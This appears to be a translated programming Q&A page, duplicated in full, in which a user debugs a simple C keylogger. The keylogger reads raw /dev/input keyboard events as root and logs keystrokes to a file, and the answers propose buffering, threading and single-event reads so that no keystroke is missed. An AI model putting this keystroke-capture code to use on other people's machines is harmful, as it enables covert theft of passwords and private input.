从键盘设备读取事件并将其存储在文件中会跳过一些输入
Reading events from the keyboard device and storing it in a file skips some input
我正在为一个非常简单的键盘记录器编写代码。它从 /dev/input/event[0..9]
读取输入并使用 read()
系统调用读取键盘完成的输入。然后将此输入重定向以存储在日志文件中。
代码如下
struct input_event ev[64];
int fd, rd, value, i, size = sizeof (struct input_event);
char dev_id[32];
char device[64];
FILE *f = fopen("/home/student/junk/haris/key_log.txt", "a");
FILE* fpp = popen("grep -E 'Handlers|EV=' /proc/bus/input/devices | grep -B1 'EV=120013' | grep -Eo 'event[0-9]+'", "r");
fgets(dev_id, sizeof(dev_id), fpp);
sprintf(device,"/dev/input/%s",dev_id);
for(i=0; device[i] != '\n'; i++)
;
device[i] = '[=10=]';
if ((getuid ()) != 0)
printf ("You are not root! This may not work...n");
if ((fd = open (device, O_RDONLY)) == -1)
printf ("%s is not a valid device.n", device);
size *= 64;
while (1)
{
if ((rd = read(fd, ev, size)) < size)
exit(0);
if (ev[1].value == 1 && ev[1].type == 1) // Only read the key press event
{
fflush(f);
fprintf(f, "%s", key_map[(ev[1].code)]);
}
}
最后一个 while
循环是读取发生的主循环。 一切正常。
我面临的问题 是当某些用户键入任何单词时速度太快,程序无法接收所有按键事件。打字太快会漏掉一些字母。
例如,如果我在键盘上快速键入单词 hello haris
,则日志文件中的输出将是 hllo hars
。
我认为发生此错误是因为循环需要时间来迭代。在一个事件可以读取和写入文件之前,下一个事件正在发生并结束。
有什么方法可以优化代码以不错过任何事件。还是有其他原因。
加分题
无论我输入多快,终端和其他设备都能获取所有输入,这是为什么?
有很多方法可以实现你想要的:
1)最简单的使用select+读取+缓存,伪代码:
result = select();
if (result == TIMEOUT)
flush_input_queue_to_file();
else (result == DATA_READY)
add_event_to_queue();
所以你需要在你的代码中添加https://en.wikipedia.org/wiki/Circular_buffer
和 select 在阅读之前。
因为你将有一个 I/O 每多个输入事件,一个事件的 intsead = 一个写入文件,这减少了丢失一些事件的可能性。
2) 使用两个线程和带互斥量的队列,一个线程写入文件,它可能会阻塞到 I/O,另一个线程读取输入并将事件放入队列,阅读 pthread 以实现此目的。与写入日志线程相比,您还可以提高读取输入线程的优先级,并使用无锁队列。
问题出在 read()
的大小上
(rd = read(fd, ev, size);
其中,
struct input_event ev[64];
size = sizeof (struct input_event) * 64;
对于 read()
函数来说,这是一个很大的尺寸。
在调试时我发现要获得击键,只有 struct input_event
的单个变量(而不是数组)就足够了。
所以我更改了以下内容,
struct input_event ev;
.
.
size = sizeof (struct input_event);
.
.
(rd = read(fd, ev, size);
它正在读取所有击键,不会遗漏任何一个。
我正在为一个非常简单的键盘记录器编写代码。它从 /dev/input/event[0..9]
读取输入并使用 read()
系统调用读取键盘完成的输入。然后将此输入重定向以存储在日志文件中。
代码如下
struct input_event ev[64];
int fd, rd, value, i, size = sizeof (struct input_event);
char dev_id[32];
char device[64];
FILE *f = fopen("/home/student/junk/haris/key_log.txt", "a");
FILE* fpp = popen("grep -E 'Handlers|EV=' /proc/bus/input/devices | grep -B1 'EV=120013' | grep -Eo 'event[0-9]+'", "r");
fgets(dev_id, sizeof(dev_id), fpp);
sprintf(device,"/dev/input/%s",dev_id);
for(i=0; device[i] != '\n'; i++)
;
device[i] = '[=10=]';
if ((getuid ()) != 0)
printf ("You are not root! This may not work...n");
if ((fd = open (device, O_RDONLY)) == -1)
printf ("%s is not a valid device.n", device);
size *= 64;
while (1)
{
if ((rd = read(fd, ev, size)) < size)
exit(0);
if (ev[1].value == 1 && ev[1].type == 1) // Only read the key press event
{
fflush(f);
fprintf(f, "%s", key_map[(ev[1].code)]);
}
}
最后一个 while
循环是读取发生的主循环。 一切正常。
我面临的问题 是当某些用户键入任何单词时速度太快,程序无法接收所有按键事件。打字太快会漏掉一些字母。
例如,如果我在键盘上快速键入单词 hello haris
,则日志文件中的输出将是 hllo hars
。
我认为发生此错误是因为循环需要时间来迭代。在一个事件可以读取和写入文件之前,下一个事件正在发生并结束。
有什么方法可以优化代码以不错过任何事件。还是有其他原因。
加分题
无论我输入多快,终端和其他设备都能获取所有输入,这是为什么?
有很多方法可以实现你想要的:
1)最简单的使用select+读取+缓存,伪代码:
result = select();
if (result == TIMEOUT)
flush_input_queue_to_file();
else (result == DATA_READY)
add_event_to_queue();
所以你需要在你的代码中添加https://en.wikipedia.org/wiki/Circular_buffer 和 select 在阅读之前。 因为你将有一个 I/O 每多个输入事件,一个事件的 intsead = 一个写入文件,这减少了丢失一些事件的可能性。
2) 使用两个线程和带互斥量的队列,一个线程写入文件,它可能会阻塞到 I/O,另一个线程读取输入并将事件放入队列,阅读 pthread 以实现此目的。与写入日志线程相比,您还可以提高读取输入线程的优先级,并使用无锁队列。
问题出在 read()
(rd = read(fd, ev, size);
其中,
struct input_event ev[64];
size = sizeof (struct input_event) * 64;
对于 read()
函数来说,这是一个很大的尺寸。
在调试时我发现要获得击键,只有 struct input_event
的单个变量(而不是数组)就足够了。
所以我更改了以下内容,
struct input_event ev;
.
.
size = sizeof (struct input_event);
.
.
(rd = read(fd, ev, size);
它正在读取所有击键,不会遗漏任何一个。